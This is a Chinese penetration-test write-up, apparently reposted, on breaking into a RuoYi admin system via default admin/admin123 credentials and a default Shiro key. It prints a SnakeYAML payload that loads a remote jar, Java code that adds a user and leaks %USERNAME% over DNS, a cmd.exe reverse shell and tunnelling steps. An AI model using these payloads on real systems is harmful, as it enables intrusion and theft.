当前位置: 首页 > news >正文

记一次若依后台管理系统渗透

前言

最近客户开始hw前的风险排查,让我们帮他做个渗透测试,只给一个单位名称。通过前期的信息收集,发现了这个站点:

没有验证码,再加上这个图标,吸引了我注意:

从弱口令开始

若依默认口令为admin/admin123,结果真的直接进了。

管理员权限,直接上工具探测一下是否有若依的几个漏洞:

工具链接:GitHub - thelostworldFree/Ruoyi-All: 若依后台定时任务一键利用

还得是运气啊!原本想着直接用这个工具一键穿的,但是奈何没利用过若依的洞,这个工具也不会使用。后续去查看了几篇文章,需要上传jar包,该漏洞可通过定时任务去调用执行jar包。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

文章地址:若依系统前后台漏洞大全_若依漏洞_LeYuuuuuuu的博客-CSDN博客

然后坑来了。按照教程去实践,发现怎么样也无法执行漏洞。以下是java代码:

  public AwesomeScriptEngineFactory() {\try {\Runtime.getRuntime().exec(\"net user test test@123 /add\");\Runtime.getRuntime().exec(\"ping tttt.ogjxcqvtbf.dnstunnel.run\");\Runtime.getRuntime().exec(\"ping%USERNAME%.ogjxcqvtbf.dnstunnel.run\");\}catch (IOException e) {\e.printStackTrace();\}\
​}

还得从shiro入手

尝试了一下午后,想想算了,看看有没有别的洞吧。刚好文章里面有写到,ruoyi的shiro存在默认密钥,结果一尝试,还真的存在。(Ps:这边有个坑,我用文章里面提到的LiqunKit去尝试,无法执行命令。后续用了shiro_attack成功命令执行)

然后通过shiro写入内存马:

对内存马感兴趣的,可以看下这两篇文章:

一文了解内存马 - 码农教程

学习了解内存马,看这篇就够了!(精华版)_内存马怎么处理_MachineGunJoe的博客-CSDN博客

但是可惜,这是一台云主机,整个内网就一台主机。很多人可能看到esc,就不想再打了。不过我还是去翻了一下文件夹,把数据库账号也拉下来。

这个项目很奇怪,我找到的项目路径下全是jar包,我都怀疑这个是不是web目录。在基础信息里面找到了路径:

catalina.home =C:\Users\Administrator\AppData\Local\Temp\2\tomcat.937421519914311975.808

但是进入该路径下,发现没文件,不知道是不是权限不够。

可以看到这边只限制127.0.0.1的ip访问,这就很尴尬,所以这边我使用ligolo代理3306出来,成功进行连接:

工具链接:GitHub - FunnyWolf/ligolo: Ligolo : 用于内网渗透的反向隧道

其实也尝试过添加用户,但是貌似被拦截了。原本想用哥斯拉的内存马进行一键提权的,但是不知道为什么,哥斯拉的内存马一直连接不上。有大佬懂的,还望不吝赐教。

再战定时任务

但是对于定时任务没复现出来,我还是很执着,通过查看其它大佬写的文章,发现了原来这个jar包的代码有问题,windows和linux的命令执行不一样,windows没办法直接通过exec执行,需要调用cmd进程进行执行。后续参考了这篇文章:

https://www.cnblogs.com/BOHB-yunying/p/15661384.html

配置完后,后台添加定时任务

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL

["http://vpsip:8000/yaml-payload.jar"]]]]')

Java部分源码:

+-----------------------------------------------------------------------+| String host="ip"; || ||         int port = 6767; || ||         String cmd="cmd.exe"; || ||         Process p=new || ProcessBuilder(cmd).redirectErrorStream(true).start(); || ||         java.net.Socket s=new java.net.Socket(host,port); || ||         java.io.InputStream || pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); || ||         java.io.OutputStream || po=p.getOutputStream(),so=s.getOutputStream(); |+=======================================================================++-----------------------------------------------------------------------+

然后通过以下命令编译并打包为jar包:

+-----------------------------------------------------------------------+| javac src/artsploit/AwesomeScriptEngineFactory.java //编译java文件 || || jar -cvf yaml-payload.jar -C src/ . //打包jar包 |+=======================================================================++-----------------------------------------------------------------------+

成功反弹shell到我vps上:

总结与思考

其实如果整片文章看下来,可能会觉得比较顺利,但是其实踩了很多坑,以下是我自己的总结,也和大家分享一下:

  1. 冰蝎多版本不支持shiro_attack生成的内存马,目前发现3.0Beta9版本修复版支持;

  2. 若依的定时任务java代码执行:Linux和windows的执行代码是不同的,windows需要调用cmd进程去执行,才导致一直测试不成功;

  3. 冰蝎自带的socks代理和数据库工具很难用,经常出现奇奇怪怪的问题。可以使用第三方工具。如ligolo,把数据库端口映射出来,再去访问登录。我就是用自带的数据库管理工具连不上,然后socks代理也连不上,才使用第三方工具的;

  4. netuser添加用户失败大概率是权限不足或者杀软拦截了。上线后可以先tasklist查看是否有杀软。其实就是和渗透前的信息收集一样,上线后也要收集一下当前服务器的信息;

  5. 遇到渗透的效果和自己预想的不一样的情况,要学会排查,猜测问题的原因。如我本次代理3306端口出来,一直去尝试账号密码登录,但是一直登录不上。排查了一圈,才发现当时为了安全起见,把我的代理端口限制IP访问了。

相关文章:

记一次若依后台管理系统渗透

前言 最近客户开始hw前的风险排查,让我们帮他做个渗透测试,只给一个单位名称。通过前期的信息收集,发现了这个站点: 没有验证码,再加上这个图标,吸引了我注意: 从弱口令开始 若依默认口令为ad…...

Mybatis(四):自定义映射resultMap

自定义映射resultMap前言一、处理字段和属性的映射关系问题:方案一:使用别名方案二:在mybatis-config.xml中设置mapUnderscoreToCamelCase方案三:在映射文件中设置redultMap二、多对一映射处理问题:方案一:…...

机器学习---降维算法

知其然知其所以然【写在前面】主成分分析(PCA)原理部分代码部分可视化部分线性判别分析(LDA)原理部分代码部分可视化部分独立成分分析(ICA)原理部分代码部分可视化部分t-SNE降维算法原理部分代码部分可视化…...

【Vue2从入门到精通】详解Vue.js的15种常用指令及其使用场景

文章目录前言1. v-text / {{ expression }}2.v-html3.v-bind4.v-on5. v-model6.v-for7.v-if / v-else-if / v-else9.v-show10.v-cloak11.v-pre12.组件注册指令13.动态组件指令14.自定义指令15.过滤器指令前言 Vue.js 是一款流行的前端框架,它通过指令(Di…...

数据库知识总结

数据库知识点总结个人向。 目录第一章 绪论第二章 关系数据库第三章 关系数据库标准语言SQL第四章 数据库安全性第五章 数据库完整性第六章 关系数据理论第七章 数据库设计第十章 数据库恢复技术第十一章 并发控制第一章 绪论 数据(data): 描述事物的符号记录。 数据库(DataB…...

处理数组循环中删除元素导致索引错位情况

就是很多时候我们对一个数组进行操作的时候,在for遍历的过程中删掉了一个元素,那么在删掉那个元素之后的所有元素的索引值都会减少一位,数组长度缩短一位,删完之后,正在进行的循环会继续循环下去,但是循环的…...

快速排序,分治法实际应用(含码源与解析)

🎊【数据结构与算法】专题正在持续更新中,各种数据结构的创建原理与运用✨,经典算法的解析✨都在这儿,欢迎大家前往订阅本专题,获取更多详细信息哦🎏🎏🎏 🪔本系列专栏 -…...

linux入门---操作体统的概念

什么是操作系统 操作系统是一个对软硬件资源进行管理的软件。计算机由一堆硬件组成,这些硬件遵循着冯诺依曼体系结构 在这个硬件的基础上还有一个软件叫做操作系统 操作系统的任务是对硬件进行管理,既然是管理的话操作系统得访问到底层的硬件&#xf…...

《Qt 6 C++开发指南》提供4个版本的示例程序

《Qt 6 C开发指南》包含丰富的示例项目,为了方便读者使用《Qt 6 C开发指南》学习Qt编程,本书提供了4个版本的示例程序。读者可在人民邮电出版社异步社区本书的配套资源(如图1)里下载这4个版本的示例程序。图1 异步社区本书配套资源…...

chartgpt 告诉我的,loss 函数的各种知识

一、libtorch中常见的损失函数及其使用场景的总结1. CrossEntropyLoss:CrossEntropyLoss(交叉熵损失)主要用于分类任务。它适用于多分类问题,其中每个样本只属于一个类别(互斥)。该损失函数将预测概率与真实标签的one-…...

旅行推销员问题的遗传算法中的完整子路线顺序交叉

摘要 旅行商问题(TSP)是许多著名的组合问题之一。TSP可以解释为很难找到从第一个城市出发,经过所有城市,然后返回起点的最短距离。在标准问题中,TSP通常用于确定新算法的效率。遗传算法是求解TSP问题的一种成功算法。…...

Python实现词频统计

词频统计是自然语言处理的基本任务,针对一段句子、一篇文章或一组文章,统计文章中每个单词出现的次数,在此基础上发现文章的主题词、热词。 1. 单句的词频统计 思路:首先定义一个空字典my_dict,然后遍历文章&#xf…...

微信小程序面试题(day08)

文章目录微信小程序自定义组件的使用?微信小程序事件通道的使用?微信小程序如何使用vant组件库?微信小程序自定义组件父传子子传父?微信小程序自定义组件生命周期有哪些?微信小程序授权登录流程?web-view。…...

最强的Python可视化神器,你有用过么?

数据分析离不开数据可视化,我们最常用的就是Pandas,Matplotlib,Pyecharts当然还有Tableau,看到一篇文章介绍Plotly制图后我也跃跃欲试,查看了相关资料开始尝试用它制图。 1、Plotly Plotly是一款用来做数据分析和可视…...

Ubuntu使用vnc远程桌面【远程内网穿透】

文章目录1.前言2.两台互联电脑的设置2.1 Windows安装VNC2.2 Ubuntu安装VNC2.3.Ubuntu安装cpolar3.Cpolar设置3.1 Cpolar云端设置3.2.Cpolar本地设置4.公网访问测试5.结语1.前言 记得笔者刚刚开始接触电脑时,还是win95/98的时代,那时的电脑桌面刚迈入图形…...

【C++】map、set、multimap、multiset的介绍和使用

我讨厌世俗&#xff0c;也耐得住孤独。 文章目录一、键值对二、树形结构的关联式容器1.set1.1 set的介绍1.2 set的使用1.3 multiset的使用2.map2.1 map的介绍2.2 map的使用2.3 multimap的使用三、两道OJ题1.前K个高频单词&#xff08;less<T>小于号是小的在左面升序&…...

css学习14(多媒体查询)

目录 多媒体查询 语法 示例代码 通用媒体查询 媒体功能参考列表 多媒体查询 CSS的媒体查询是一种CSS的技术&#xff0c;它可以根据不同的设备类型、屏幕尺寸、方向、分辨率等条件来应用不同的CSS样式&#xff0c;从而为不同的设备和屏幕提供最佳的浏览体验。这样&#xff…...

【C++进阶】C++11(中)左值引用和右值引用

文章目录左值引用左值引用的概念左值引用的使用右值引用右值引用的概念右值引用的使用左右值相互引用左值引用对右值进行引用右值引用对左值进行引用右值引用使用场景和意义左值引用的优势左值引用的短板右值引用的优势完美转发模板万能引用完美转发实际运用场景左值引用 左值…...

Python中的生成器【generator】总结,看看你掌握了没?

人生苦短&#xff0c;我用python python 安装包资料:点击此处跳转文末名片获取 1.实现generator的两种方式 python中的generator保存的是算法&#xff0c; 真正需要计算出值的时候才会去往下计算出值。 它是一种惰性计算&#xff08;lazy evaluation&#xff09;。 要创建一个…...

MD5加密竟然不安全,应届生表示无法理解?

前言 近日公司的一个应届生问我&#xff0c;他做的一个毕业设计密码是MD5加密存储的&#xff0c;为什么密码我帮他调试的时候&#xff0c;我能猜出来明文是什么&#xff1f; 第六感&#xff0c;是后端研发的第六感&#xff01; 正文 示例&#xff0c;有个系统&#xff0c;前…...

【Linux】虚拟地址空间

进程地址空间一、引入二、虚拟地址与物理内存的联系三、为什么要有虚拟地址空间一、引入 对于C/C程序&#xff0c;我们眼中的内存是这样的&#xff1a; 我们利用这种对于与内存的理解看一下下面这段代码&#xff1a; 运行结果&#xff1a; 观察父子进程中 val 变量的值&…...

四平方和题解(二分习题)

四平方和 暴力做法 Y总暴力做法&#xff0c;蓝桥云里能通过所有数据 总结&#xff1a;暴力也分好坏&#xff0c;下面这份代码就是写的好的暴力 如何写好暴力:1. 按组合枚举 2. 写好循环结束条件&#xff0c;没必要循环那么多次 #include<iostream> #include<cmath>…...

一篇文章搞定js正则表达式

我们测试正则表达式是否正确的方法有很多&#xff0c;例如通过正则表达式找到拼配的字符串&#xff1a; 在vscode编辑器中点击搜索框中的第三个按钮就可以实现&#xff1a; 或者 在浏览器中的控制台也可以实现&#xff1a; 我们可以通过下面的在线网站来测试你写的正则是否正确…...

[数据结构] 用两个队列实现栈详解

文章目录 一、队列实现栈的特点分析 1、1 具体分析 1、2 整体概括 二、队列模拟实现栈代码的实现 2、1 手撕 队列 代码 queue.h queue.c 2、2 用队列模拟实现栈代码 三、总结 &#x1f64b;‍♂️ 作者&#xff1a;Ggggggtm &#x1f64b;‍♂️ &#x1f440; 专栏&#xff1…...

官宣|Apache Flink 1.17 发布公告

Apache Flink PMC&#xff08;项目管理委员&#xff09;很高兴地宣布发布 Apache Flink 1.17.0。Apache Flink 是领先的流处理标准&#xff0c;流批统一的数据处理概念在越来越多的公司中得到认可。得益于我们出色的社区和优秀的贡献者&#xff0c;Apache Flink 在 Apache 社区…...

动态内存管理+动态通讯录【C进阶】

文章目录为什么存在动态内存分配❓&#x1f449;动态内存函数&#x1f448;malloc&freecallocrealloc❌常见的动态内存错误❌练习题&#x1fae0;C/C程序的内存开辟&#x1f914;柔性数组柔性数组的特点柔性数组的优势:star:动态通讯录:star:初始化添加销毁为什么存在动态内…...

基于pytorch+Resnet101加GPT搭建AI玩王者荣耀

本源码模型主要用了SamLynnEvans Transformer 的源码的解码部分。以及pytorch自带的预训练模型"resnet101-5d3b4d8f.pth"本资源整理自网络&#xff0c;源地址&#xff1a;https://github.com/FengQuanLi/ResnetGPT注意运行本代码需要注意以下几点 注意&#xff01;&a…...

多线程控制讲解与代码实现

多线程控制 回顾一下线程的概念 线程是CPU调度的基本单位&#xff0c;进程是承担分配系统资源的基本单位。linux在设计上并没有给线程专门设计数据结构&#xff0c;而是直接复用PCB的数据结构。每个新线程&#xff08;task_struct{}中有个指针都指向虚拟内存mm_struct结构&am…...

清晰概括:进程与线程间的区别的联系

相关阅读&#xff1a; &#x1f517;通俗简介&#xff1a;操作系统之进程的管理与调度&#x1f517;如何使用 jconsole 查看Java进程中线程的详细信息&#xff1f; 目录 一、进程与线程 1、进程 2、线程 二、进程与线程之间的区别和联系 1、区别 2、联系 一、进程与线程 …...

自定义类型 (结构体)

文章目录&#x1f4ec;结构体的声明&#x1f50e;1.结构的基础知识&#x1f50e;2.结构的声明&#x1f50e;3.特殊的声明&#x1f50e;4.结构的自引用&#x1f50e;5.结构体变量的定义和初始化&#x1f50e;6.结构体内存对齐&#x1f50e;7.修改默认对齐数&#x1f50e;8.结构体…...